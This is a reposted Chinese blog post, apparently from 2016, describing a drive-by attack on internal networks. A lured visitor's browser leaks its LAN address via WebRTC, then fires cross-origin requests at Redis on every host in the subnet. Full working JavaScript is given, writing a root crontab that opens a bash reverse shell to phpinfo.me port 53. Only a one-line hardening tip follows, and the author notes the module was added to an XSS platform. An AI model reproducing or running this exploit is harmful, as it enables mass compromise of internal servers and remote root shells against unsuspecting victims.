A-A+

点我一个链接就自动化入侵你的内网

2016年08月03日 16:45 汪洋大海 暂无评论 共2741字 (阅读2,883 views次)

参考http://www.freebuf.com/articles/web/103097.html

他这个是攻击web应用的,今天实现的是利用xss或者社工让对方点我的链接,然后利用js自动化攻击内网redis,

利用redis写任务计划批量反弹shell。

js扫内网6379不太好实现,就不进行端口探测了,直接对整个网段执行一遍exp

利用如下代码获取内网ip段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <title>Document</title>
</head>
<body>
 
</body>
<script>
    ipList = []
    var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1]; 
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp()
setTimeout(function() {
    alert(ipList)
}, 300)
</script>
</html>

效果如下图

redis效果图

redis效果图


利用ajax攻击redis原理:

参考文章:http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

https://www.t00ls.net/thread-34873-1-1.html

http://www.freebuf.com/articles/web/19622.html

跨域是发出数据包获取不到返回包,这里我们只管发出去不管返回,所以也不用担心跨域的问题。

下面是一个ajax操作redis写任务计划反弹的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var ip = '192.168.203.2';
var port= '6379';
var dir = '/var/spool/cron/';
var filename = 'root';
var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/phpinfo.me/53 0>&1';
var url = "http://" + ip + ":" + port;
 
var cmd = new XMLHttpRequest();
cmd.open("POST",  url);
cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\n'+content+'\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + dir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"'+filename+'\"); ' + '\' 0' + "\r\n");
 
var cmd = new XMLHttpRequest();
cmd.open("POST",  url);
cmd.send('save\r\n');

最后来实现自动获取内网ip,自动批量攻击内网1-255的ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <title>Document</title>
</head>
<body>
 
</body>
<script>
    ipList = []
    var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1]; 
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp()
setTimeout(function() {
    for(var i in ipList) {
        if(ipList[i]) {
            var iparr = ipList[i].split(".");
            for(var i=0;i<255;i++) {
                var attkip = iparr [0] + "." + iparr [1] + "." + iparr [2] + "." + i;
                send(attkip);
            }
        }
    }
}, 300);
 
function send(ip) {
    var port= '6379';
    var dir = '/var/spool/cron/';
    var filename = 'root';
    var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/phpinfo.me/53 0>&1';
    var url = "http://" + ip + ":" + port;
 
    var cmd = new XMLHttpRequest();
    cmd.open("POST",  url);
    cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\n'+content+'\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + dir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"'+filename+'\"); ' + '\' 0' + "\r\n");
 
    var cmd = new XMLHttpRequest();
    cmd.open("POST",  url);
    cmd.send('save\r\n');
 
}
</script>
</html>

如果嫌1-255不够可以再加一个for循环

ip for循环255

ip for循环255


自动向内网redis发送攻击代码

然后在自己的服务器中用nc监听你设置的端口,然后你会发现服务器已经躺在这了

成功redis shell

成功redis shell

redis太不安全了,就算绑定127.0.0.1也不安全..最好升级最新版,然后设个密码

测试模块已加入xss平台

注意注意,文章为转载文章,转载自:https://phpinfo.me/2016/07/28/1285.html 这个是原文地址!!!

讨厌,别闹,我很尊重版权的,转载别人文章都会尽量附赠原文地址的,如果实在没有原文地址,我也就不写了。如果有必定写的,最后最后,如果你不让我转载,那你来打我呀。哈哈哈哈,开个玩笑。

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言